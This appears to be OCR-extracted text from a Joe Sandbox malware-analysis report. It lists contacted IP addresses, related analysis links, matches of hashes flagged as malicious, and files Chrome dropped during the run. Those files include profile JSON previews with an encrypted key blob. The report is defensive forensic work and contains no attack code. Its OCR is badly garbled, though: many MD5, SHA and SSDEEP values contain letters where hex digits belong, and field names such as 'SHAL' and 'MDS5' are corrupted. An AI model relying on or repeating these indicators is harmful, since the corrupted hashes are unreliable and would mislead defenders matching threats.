Browse
Browse
Browse
Browse
Browse

Browse

Link
Browse
Browse

Browse

Browse

Browse

Browse

Context

172.67.188.154

162.159.13
3.233

66.235.200.147
104.21.19.200

162.159.13
3.233

172.67.188.154

162.159.13
0.233

172.67.150.158
104.21.30.57
192.0.78.24
192.0.78.24
192.0.79.33
192.0.79.33
192.0.78.24
192.0.78.24
192.0.78.24
192.0.78.24
192.0.78.25
192.0.78.12
192.0.78.25
192.0.78.25
192.0.78.25
192.0.78.25
192.0.77.2
192.0.78.25
192.0.66.2
192.0.66.2
192.0.78.24
192.0.78.25
5.144.130.34
5.144.130.34
5.144.130.34

5.144.130.34
5.144.130.34
5.144.130.34
5.144.130.35
5.144.130.32
5.144.130.32
5.144.130.34
5.144.130.34
5.144.130.34
5.144.130.34
5.144.130.34
5.144.130.34
5.144.130.34
5.144.130.34
5.144.130.34
5.144.130.34
5.144.130.34

Context

5.144.130.32
5.144.130.32
5.144.130.32

5.144.130.32

5.144.130.32
5.144.130.32
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https://view.joesandbox.com/analysis/320842/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320842/html/none?idtype=webid
https://view.joesandbox.com/analysis/320826/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320826/html/none?idtype=webid
https://view.joesandbox.com/analysis/320809/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320809/html/none?idtype=webid
https://view.joesandbox.com/analysis/320807/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320807/html/none?idtype=webid
https://view.joesandbox.com/analysis/320726/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320726/html/none?idtype=webid
https://view.joesandbox.com/analysis/320699/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320699/html/none?idtype=webid
https://view.joesandbox.com/analysis/320669/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320669/html/none?idtype=webid
https://view.joesandbox.com/analysis/320655/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320655/html/none?idtype=webid
https://view.joesandbox.com/analysis/320649/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320649/html/none?idtype=webid
https://view.joesandbox.com/analysis/320866/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320866/html/none?idtype=webid
https://view.joesandbox.com/analysis/319329/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319329/html/none?idtype=webid
https://view.joesandbox.com/analysis/313810/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/313810/html/none?idtype=webid
https://view.joesandbox.com/analysis/313804/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/313804/html/none?idtype=webid
https://view.joesandbox.com/analysis/313499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/313499/html/none?idtype=webid
https://view.joesandbox.com/analysis/313244/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/313244/html/none?idtype=webid
https://view.joesandbox.com/analysis/311604/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/311604/html/none?idtype=webid
https://view.joesandbox.com/analysis/311526/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/311526/html/none?idtype=webid
https://view.joesandbox.com/analysis/310794/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/310794/html/none?idtype=webid
https://view.joesandbox.com/analysis/310768/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/310768/html/none?idtype=webid
https://view.joesandbox.com/analysis/310519/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/310519/html/none?idtype=webid
https://view.joesandbox.com/analysis/310166/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/310166/html/none?idtype=webid
https://view.joesandbox.com/analysis/310016/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/310016/html/none?idtype=webid
https://view.joesandbox.com/analysis/308752/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/308752/html/none?idtype=webid
https://view.joesandbox.com/analysis/307319/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/307319/html/none?idtype=webid
https://view.joesandbox.com/analysis/307312/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/307312/html/none?idtype=webid
https://view.joesandbox.com/analysis/306766/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/306766/html/none?idtype=webid
https://view.joesandbox.com/analysis/306756/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/306756/html/none?idtype=webid
https://view.joesandbox.com/analysis/306259/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/306259/html/none?idtype=webid
https://view.joesandbox.com/analysis/306018/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/306018/html/none?idtype=webid
https://view.joesandbox.com/analysis/320479/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320479/html/none?idtype=webid
https://view.joesandbox.com/analysis/320460/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320460/html/none?idtype=webid
https://view.joesandbox.com/analysis/320446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320446/html/none?idtype=webid
https://view.joesandbox.com/analysis/320430/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320430/html/none?idtype=webid
https://view.joesandbox.com/analysis/314435/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/314435/html/none?idtype=webid
https://view.joesandbox.com/analysis/314425/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/314425/html/none?idtype=webid
https://view.joesandbox.com/analysis/298826/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/298826/html/none?idtype=webid
https://view.joesandbox.com/analysis/276413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/276413/html/none?idtype=webid
https://view.joesandbox.com/analysis/276409/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/276409/html/none?idtype=webid
https://view.joesandbox.com/analysis/262301/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262301/html/none?idtype=webid
https://view.joesandbox.com/analysis/244539/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244539/html/none?idtype=webid
https://view.joesandbox.com/analysis/244538/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244538/html/none?idtype=webid
https://view.joesandbox.com/analysis/224082/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/224082/html/none?idtype=webid
https://view.joesandbox.com/analysis/203139/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/203139/html/none?idtype=webid
https://view.joesandbox.com/analysis/192247/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/192247/html/none?idtype=webid
https://view.joesandbox.com/analysis/192045/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/192045/html/none?idtype=webid
https://view.joesandbox.com/analysis/190829/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/190829/html/none?idtype=webid
https://view.joesandbox.com/analysis/189404/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189404/html/none?idtype=webid
https://view.joesandbox.com/analysis/188827/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/188827/html/none?idtype=webid
https://view.joesandbox.com/analysis/180320/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/180320/html/none?idtype=webid
https://view.joesandbox.com/analysis/320097/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320097/html/none?idtype=webid
https://view.joesandbox.com/analysis/319823/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319823/html/none?idtype=webid
https://view.joesandbox.com/analysis/319805/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319805/html/none?idtype=webid
https://view.joesandbox.com/analysis/319678/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319678/html/none?idtype=webid
https://view.joesandbox.com/analysis/318853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/318853/html/none?idtype=webid
https://view.joesandbox.com/analysis/318286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/318286/html/none?idtype=webid

Match

Associated Sample Name /| URL SHA 256 Detection Link Context
Get hash malicious Browse e 5.144.130.32
Get hash malicious Browse e 5.144.130.32

Get hash malicious Browse e 5.144.130.32
Get hash malicious Browse e 5.144.130.32
Get hash malicious Browse e 5.144.130.32
Get hash malicious Browse e 5.144.130.32
Get hash malicious Browse e 5.144.130.32
Get hash malicious Browse e 5.144.130.32

Get hash malicious Browse e 5.144.130.32
Get hash malicious Browse e 5.144.130.32
Get hash malicious Browse e 5.144.130.32
Get hash malicious Browse e 5.144.130.32
Get hash malicious Browse e 5.144.130.32
Get hash malicious Browse e 5.144.130.32

Dropped Files

No context

Created / dropped Files

C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

451603

5.009711072558331

false

12288:ZHfRTYGZ6lup8Cfrvq4JBPKh+FBIESBw4p6:NfOCzvRKhGvwJ
A78AD14E77147E7DE3647E61964C0335
CECC3DD41F4CEA0192B24300C71E1911BD4FCE45
0D6803758FF8F87081FAFD62E90F0950DFB2DD7991E9607FE76A8F92DOESI3FA

DDE24D5AD50D68FC91E9E325D31E66EF8F624B6BB3A07D14FFED1104D3AB5F4EF1D7969A5CDEODFBB19CB31C506F7DE97AF67C2F244F7E7TESE10648EA8321
01

false

moderate, very likely benign file

BDic.... ....6..."..Z..49....6.2...{/...3...5.... AF 1363.AF nm.AF pt.AF n1.AF p.AF tc.AF SM.AF M.AF S.AF MS.AF MNR.AF GDS.AF MNT.AF MH.AF MR.AF SZMR.AF MJ.AF
MT.AF MY.AF MRZ.AF MN.AF MG.AF RM.AF N.AF MV.AF XM.AF DSM.AF SD.AF G.AF R.AF MNX.AF MRS.AF MD.AF MNRB.AF B.AF ZSMR.AF PM.AF SMNGJ.AF
SMN.AF ZMR.AF SMGB.AF MZR.AF GM.AF SMR.AF SMDG.AF RMZ.AF ZM.AF MDG.AF MDT.AF SMNXT.AF SDY.AF LSDG.AF LGDS.AF GLDS.AF UY.AF U.AF
DSGNX.AF GNDSX.AF DSG.AF Y.AF GS.AF IEMS.AF YP.AF ZGDRS.AF XGNVDS.AF UT.AF GNDS.AF GVDS.AF MYPS.AF XGNDS.AF TPRY.AF MDSG.AF ZGSDR.
AF DYSG.AF PMYTNS.AF AGDS.AF DRZGS.AF PY.AF GSPMDY.AF EGVDS.AF SL.AF GNXDS.AF DSBG.AF IM.AF |.AF MDGS.AF SMY.AF DSGN.AF DSLG.AF GM
DS.AF MDSBG.AF SGD.AF IY.AF P.AF DSMG.AF BLZGDRS.AF TR.AF AGSD.AF ZGBDRSL.AF PTRY.AF ASDGV.AF ASM.AF ICANGSD.AF ICAM.AF IKY.AF AMS.AF
PMYTRS.AF BZGVDRS.AF SDRBZG.AF GVMDS.AF PSM.AF DGLS.AF GNVXDS.AF AGDSL.AF DGS.AF XDSGNV.AF BZGDRS.AF AM.AF AS.AF A.AF LDSG.AF
AGVDS.AF SDG.AF LDSMG.AF EDSMG.AF EY.AF DRSMZG.AF PRYT.AF LZ

C:\Program Files\Google\Chrome\Application\chrome.exe

Microsoft Cabinet archive data, 59863 bytes, 1 file

dropped

59863

7.99556910241083

true
1536:Gs6cdy9E/ABKQPOrdweEz480zdPMHXNY/gLHfIZN:GNOgOrdDdJPAX1LHA/
15775D95513782F99CDFB17E65DFCEB1
6C11F8BEE799B093FIFF4841E31041B081B23388
477A9559194EDF48848FCE59E05105168745A46BDC0871EA742A2588CA9FBEOO

ACO09CE01122D7A837BD70277BADD58FF71D8C5335F8FC599D5E3ED42C8FEE2108DD043BCES62C82BA12A81B9B08BD24B961C0961BF8FD3A0B8341C87483CD
E7

false

moderate, very likely benign file
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https://view.joesandbox.com/analysis/315861/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/315861/html/none?idtype=webid
https://view.joesandbox.com/analysis/315465/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/315465/html/none?idtype=webid
https://view.joesandbox.com/analysis/315389/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/315389/html/none?idtype=webid
https://view.joesandbox.com/analysis/314654/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/314654/html/none?idtype=webid
https://view.joesandbox.com/analysis/313623/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/313623/html/none?idtype=webid
https://view.joesandbox.com/analysis/313616/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/313616/html/none?idtype=webid
https://view.joesandbox.com/analysis/313571/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/313571/html/none?idtype=webid
https://view.joesandbox.com/analysis/311863/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/311863/html/none?idtype=webid
https://view.joesandbox.com/analysis/311793/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/311793/html/none?idtype=webid
https://view.joesandbox.com/analysis/311791/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/311791/html/none?idtype=webid
https://view.joesandbox.com/analysis/311778/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/311778/html/none?idtype=webid
https://view.joesandbox.com/analysis/311669/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/311669/html/none?idtype=webid
https://view.joesandbox.com/analysis/310669/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/310669/html/none?idtype=webid
https://view.joesandbox.com/analysis/307536/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/307536/html/none?idtype=webid

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 E

Preview:

.R.i .authroot.stl.qgqp.4..CK..8T....c_.d....A.F...m"...AH)-.%.QIR..$t)Kd.-QQ*..~.L.2.L.......sx.}...~....$....yy.A.8;....|.%0V.a0xN...
.9..C..t.z X...,..1Qj,.p.E.y..ac’.<.e.c.aZW..B.jy... \]..+)....r.X:.0.. .Y..jJA8C........ n7R...p!_.+.<.AWt=. .sV..".90..CD./.s.\#.t#..s..Jeiu..BS$.....8..(g..tJ....=,....d.].xgX4....... g.
IF..Mny"W.R...K\.P.n_.7.......@pm.. Q....(# )..1.kC. .....AP8.A.<....7S.L...S..AR.).hgS...DK.6 j....u_.0.(4g.....!,.L".....hz.a]?.....J9.\. Ww........ %........ 4E...
....0.QA.0.M<.&MaD.....,.]*...5...\./d.F>.V... Lwlzoj.DseZo e N<.d.?<...b..,..n..... ..YK.X..0..Z ...9.3.+9T.%.l..5.YK.E.V...aD.0...Y../e.7...c.

g ALEL U2, X~ 00\ =& Vel 2028 S TR ?ML L QHLB <.(t..883..u[.N8gL.%...v...f..W.y...cz-.EQ.....c...0..N........ [ D 2.

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

326

3.1492930417120966

false
6:kKIKpkQSN+SKQIPIEGYRMY9z+4KIDA3RUeSKyzkOt:NKphZkPIE99SNxAhUeSKO
D2E5076D46368359FB4C84F8656554FA
62916E9C747E6FAE8F9923790DF5F866CF1805F6
707826D5FAD37ED74E0645E45CE52A9CFE21B5484D4B9CEB811B95231380851C7
84634B97FD67F2EEA1C7169692B52648FDC4A59EC6E3B98D75D4393F7CCCBBI50BE6D233FOBFB8DCD863C419A5AD35123545F146D675A2E77F4A11DDD0A82C

Perees e LG (e s Y5.....8...........httpo/letldl. .window.s.u.p.date..com/ms.dow.n.lo.ad/up.date./v.3./
s.tatic/trustedr./en/authro.otstl.cab.."8.0.£8.8.3.59.354d.7.1.:.0."...

C:\Users\luser\AppData\Local\Google\Chrome\User Data\0e914076-9f16-4723-aad3-a3848158337d.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

160612

6.050710387140603

false
3072:DSKvLzMCF4+0Bz0sFSePkgVtuA7LA7bV/nYorVcl8XIssEIYTRI:DSIpVS0sB8grgbV/njhcl8II6RI
D405588FA069E77811FB5509D520988E

3CF75B20DE6D6F24A620AE2EC60EE4924B4B517B
123CE9A1F28B94692E5CEC40965F66C1B54A71A356ECAE4D091A1D39254A27DF

A479CF7BDA04E86F4634F030D0A9FCC621251AD78EB2CI9AESDDOED2405E5CBBC41E635213A98C53B07DBF4072935DEA0217C54973FC35380A676EO086EB2E7D
C

false

low

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.620880427930009e+12,"network":1.62084803e+12,"ticks":110903550.0, "uncertainty":4818404.0}},"os_crypt":{"encrypted_key":"RFB
BUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAADSYRpYXHTVR0045wUdDOXCAAAAAAIAAAAAABBMAAAAAQAAIAAAABLbexqB/OEXTFIMPCENOVX+bVETIkvicZM
f30IBvp2bAAAAAABAAAAAAJGAAIAAAAADIGGQLQMHYGBYMKKDuUdOpZA89StPbsfruagqGAbBNSOMAAAALDWaloNNJIZN9rwnlUg/XLN9khJ9JzOmd9VO4rX+Yg+
g8mRS88ENIg3B2TpBY YNjWKkAAAACdQYw45aj+S/8dGnDKVRWon1T/sv/0i6HXgLXg0l1lkMUaef/c6zgkTQ7ehiG3nkSfg6dR/401ZLALr+MYbEZ2"},"password_manager":
{"os_password_blank":true,"os_password_last_changed":"13245951909706750"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\luser\AppData\Local\Google\Chrome\User Data\1051ebb7-7da2-4101-97ad-91c98b6elffa.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

168973

6.080528403472156

false

3072:XkXKvLzMCF4+0Bz0sFSePkgVtuA7LA7bV/nYorVcI8XIssElY TRI:UXIpVS0sB8grgbV/njhcl8II6RI
7F7603A9BA090171A79EF64D9D296B75

0B647DD82B80DF592896870D191263E42D4F0826
B0322EE7EB20EBE4D75FE91F277AF0F0D55481E07B995804DE95635465853163
E8D33F3BCD81FI0BBIC8BF34260AC19933214E48F7C818FF439EB13930FE7383A3A485E214C7A316891D71694EA7C621F6C81324973F4FBDB2DAD622CC289E9!
false

low
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\1051ebb7-7da2-4101-97ad-91c98b6elffa.tmp

Preview:

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.620880427930009e+12,"network":1.62084803e+12,"ticks":110903550.0,"uncertainty":4818404.0}},"os_crypt":{"encrypted_key":"RFB
BUEKBAAAAOQlyd3wEVORGMegDAT8KX6WEAAADSYRpYXHTVR0045wUdDOXCAAAAAAIAAAAAABBMAAAAAQAAIAAAABLbexqB/OEXTFIMPCENOVX+bVETIkvicZM
f30IBvp2bAAAAAABAAAAAAGAAIAAAAADIGGQLQMHYGBYMKKDuUdOpZA89StPbsfruagqGAbBNSOMAAAALDWaloNNJIZN9rwnlUg/XLN9khJ9JzOmd9VO4rX+Yg+
g8mRS88ENIg3B2TpBY YNjWKkAAAACdQYw45aj+S/8dGnDKVRWon1T/sv/0i6HXgLXg0l1kMUaef/c6zgkTQ7ehiG3nkSfg6dR/401ZLALr+MYbEZ2"},"password_manager":
{"os_password_blank":true,"os_password_last_changed":"13245951909820208"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\luser\AppData\Local\Google\Chrome\User Data\441fdb27-5ed7-4225-bf0c-d70593fc8005.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

168973

6.080529961869898

false

3072:XkPKvLzMCF4+0Bz0sFSePkgVtuA7LA7bV/nYorVcI8XIssElY TRI:UPIpVS0sB8grgbV/njhcl8II6RI
5FO0E1F22D331E976429C1A4EE1A52B2A

2D85509B88E6A2AE3F208B3CCBB3B824771653D4
7888328B8871F1D331FF766B8A490B87D8DBCOCEOD7BA3C7E1499E878381FEDE

7476663EE6BD5CED4FA3C5115786FCC4EGO0E0C6033565A27674DA39ABABF8DACBED2199AFF50F314A69A4120EC2DB99EOEGG5C7A917FA13D111DB417CF6D7¢
1

false

low

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.620880427930009e+12,"network":1.62084803e+12,"ticks":110903550.0, "uncertainty":4818404.0}},"os_crypt":{"encrypted_key":"RFB
BUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAADSYRpYXHTVR0045wUdDOXCAAAAAAIAAAAAABBMAAAAAQAAIAAAABLbexqB/OEXTFIMPCENOVX+bVETIkvicZM
f30IBvp2bAAAAAABAAAAAAJGAAIAAAAADIGGQLQMHYGBYMKKDuUdOpZA89StPbsfruagqGAbBNSOMAAAALDWaloNNJIZN9rwnlUg/XLN9khJ9JzO9md9VO4rX+Yg+
g8mRS88ENIg3B2TpBY YNjWKkAAAACdQYw45aj+S/8dGnDKVRWon1T/sv/0i6HXgLXg0l1kMUaef/c6zgkTQ7ehiG3nkSfg6dR/401ZLALr+MYbEZ2"},"password_manager":
{"os_password_blank":true,"os_password_last_changed":"13245951909820208"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\luser\AppData\Local\Google\Chrome\User Data\4f7067f2-eefc-4782-beb9-395b841adc9a.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

SysEx File -

dropped

94708

3.749461776139014

false
384:RHdySsPZkvMSVn521NKr/v+G3tGkZHOtGRYrzQSUxb5I1QbrD6xmvUzgq2WVOgEuU:d6mRxCSZxF2SQef8a70s/DWmKs2WBI
D454F10C46614369685F0BB489340CD7

22222C2EB89ED7ABE76D7A99B2984A7D120FA1B80
5E1A9237D97D0OB63E1E019970C61F5C1A18DA0ODD17356A55F14E3EBDSADB7304
397A0DFA49A8724DF26E14D404E55ECFDF6DB421C69CCEAA4E9426994F4A5598C06485CCEE1D8174924089121D86027075EB124A131660CFECF5A173195CD86
false

low

Q... ...C..\.P.R.0.G.RA~1\M.I.LC.R.0.S.~.1\.0Offic.el6\GRO.O.V.EEX..DLL.PL...%.p.r.o.gram.files.%.\m.ic.ro.s.o.ft .officeloffic.e

.1.6. .g.r.o.o.v.eex.dll..Micros.oft .Office..2.0.1.6..*.Micr.os.o.ft .O.neD.r.ive. .for. B.us.ines.s. Exte.ns.io.ns...16..0..47.11.10
.0.0....*...C..\P.R.0.G.RA~1\M.IC.R.O.S.~1\.0ffic.el6\GRO.O.V.EEX..D.LL...Micros.o.ft .Corp.ora.tio.n..98D..C.:\P.ro.g.ram. .Files\C.0o
.m.m.o.n. .F.ile.s\M..cr.o.s.oft .S.hared\O.F.FICE.16\ms.0shext.dl.@...U/..%.comm.o.n.p.ro.g.ramfiles.%.\micro.s.o.ft .share.d\o.f
fic.e.l6.\...ms.oshext.dll..M.icros.o.ft Office.)..Micros.o.ft Offic.e..Shell Extens.io.n. Handlers....16..0..4.26.6..1.0.0.1....D..C
\.P.ro.g.ram.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\6d84ce9b-7001-42d6-9e29-3ff92a881985.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

160508

6.0503926613865175

false
3072:MSKvLzMCF4+0Bz0sFSePkgVtuA7LA7bV/nYorVcl8XIssEIYTRI:MSIpVS0sB8grgbV/njhcl8II6RI
3682E54AD82B4A82BDFOBEB625370E89

19954A1F3946FA23421FC2B70DE756E5BC37D030
6CEFC71F49D77E8524BA998055F8770F7C930CB00BC803D7F89497D0369E5C8C

69EC4220279CEQ9ABA46EACCO51D37F50F33EAF711BF22EBO43ECA4EOF90DCA37E2D10BD4C9F26BDB20D5SFEE321FE81DF0565DF41E7111189CCF935C5C0876
A8

false

low
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\6d84ce9b-7001-42d6-9e29-3ff92a881985.tmp

Preview:

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.620880427930009e+12,"network":1.62084803e+12,"ticks":110903550.0,"uncertainty":4818404.0}},"os_crypt":{"encrypted_key":"RFB
BUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAADSYRpYXHTVR0045wUdDOXCAAAAAAIAAAAAABBMAAAAAQAAIAAAABLbexqB/OEXTFIMPCENOVX+bVETIkvicZM
f30IBvp2bAAAAAABAAAAAAGAAIAAAAADIGGQLQMHYGBYMKKDuUdOpZA89StPbsfruagqGAbBNSOMAAAALDWaloNNJIZN9rwnlUg/XLN9khJ9JzOmd9VO4rX+Yg+
g8mRS88ENIg3B2TpBY YNjWKkAAAACdQYw45aj+S/8dGnDKVRWon1T/sv/0i6HXgLXg0l1kMUaef/c6zgkTQ7ehiG3nkSfg6dR/401ZLALr+MYbEZ2"},"password_manager":
{"os_password_blank":true,"os_password_last_changed":"13245951909706750"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\luser\AppData\Local\Google\Chrome\User Data\74618283-f972-4100-b5ce-c78db7a09efa.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

160696

6.050871159068144

false
3072:DaKvLzMCF4+0Bz0sFSePkgVtuA7LA7bV/nYorVcl8XIssEIYTRI:DalpVS0sB8grgbV/njhcI8II6RI
69E721DD5415A9FCEBA9C64761FCAD26

1A9508D0E03A1FC92DBE5S0979EFC2BE09A58D634
5E99BD8944749F9EBID56250E7283DF4614A7E506AF1EFC2A4C730B2F6CADESC
46F4C8E68356607079905328A80AFADFF7E408E3E368DA560C960077E71258EB80FD2B399A99C81F829AC62D275810CA585713D4AF0F084A573FA7297F91BFOD
false

low

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.620880427930009e+12,"network":1.62084803e+12,"ticks":110903550.0, "uncertainty":4818404.0}},"os_crypt":{"encrypted_key":"RFB
BUEKBAAAAOQlyd3wEVORGMegDAT8KX6WEAAADSYRpYXHTVR0045wUdDOXCAAAAAAIAAAAAABBMAAAAAQAAIAAAABLbexqB/OEXTFIMPCENOVX+bVETIkvicZM
f30IBvp2bAAAAAABAAAAAAJGAAIAAAAADIGGQLQMHYGBYMKKDuUdOpZA89StPbsfruagqGAbBNSOMAAAALDWaloNNJIZN9rwnlUg/XLN9khJI9JzO9md9VO4rX+Yg+
g8mRS88ENIg3B2TpBY YNjWKkAAAACdQYw45aj+S/8dGnDKVRWon1T/sv/0i6HXgLXg0l1kMUaef/c6zgkTQ7ehiG3nkSfg6dR/401ZLALr+MYbEZ2"},"password_manager":
{"os_password_blank":true,"os_password_last_changed":"13245951909706750"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\luser\AppData\Local\Google\Chrome\User Data\8c33ff60-e6e1-45bf-b5dd-003848b13217.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

168973

6.080529114578347

false
3072:ukwKvLzMCF4+0Bz0sFSePkgVtuA7LA7bV/nYorVcl8XIssEIYTRI:9wlpVS0sB8grgbV/njhcI8II6RI
